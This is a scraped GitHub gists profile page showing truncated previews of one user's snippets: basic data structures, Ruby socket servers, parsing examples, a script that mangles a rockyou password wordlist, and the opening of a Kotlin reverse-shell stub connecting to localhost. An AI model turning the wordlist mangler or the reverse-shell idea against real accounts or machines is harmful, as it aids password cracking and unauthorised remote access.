Skip to content

Instantly share code, notes, and snippets.

View evilthreads669966's full-sized avatar
💭
0x666

Chris Basinger evilthreads669966

💭
0x666
View GitHub Profile
public class LinkedList<T>{
private Node<T> head = null;
private Node<T> tail = null;
public int size(){
Node<T> node = head;
int count = 0;
while(node != null){
count++;
@evilthreads669966
evilthreads669966 / rockyou.rb
Last active April 12, 2023 14:13
appends a phrase before or after each word in a rockyou file
=begin
where - 'before' or 'after'
phrase - the phrase to add to the word
file path - the location of your rockyou.txt file
=end
where = ARGV[0].to_s.downcase.strip
phrase = ARGV[1].to_s.strip
file_path = ARGV[2]
class Person
include Comparable
attr_reader :id
def initialize(id, name)
@id = id
@name = name
end
def <=>(other)
@id <=> other.id
def start(&block)
server = TCPServer.new 6666
block.call(server)
end
class MyObject
def initialize(&block)
block.call(1)
end
end
require 'socket'
def start(&block)
server = TCPServer.new 6666
block.call(server)
end
start do |server|
client = server.accept
end
require 'socket'
def handle_client(client)
Thread.new do
loop do
client.write 'hello'
response = client.gets.chomp
puts response
if response == 'exit'
break
require 'socket'
# Handles connections and contains the clients
class Server
attr_reader :clients
def initialize
@clients = []
end
fun main(args: Array<String>) {
val number: Int = "42A".toInt() //Integer.parseInt as well
println(number)
}
code = "45A".to_i
puts code
@evilthreads669966
evilthreads669966 / ReverseShell.kt
Last active February 17, 2023 11:16
This doesn't respond
import java.net.Socket
fun main(args: Array<String>) {
backdoor("localhost", 6666)
}
fun backdoor(ip: String, port: Int){
val socket = Socket(ip, port)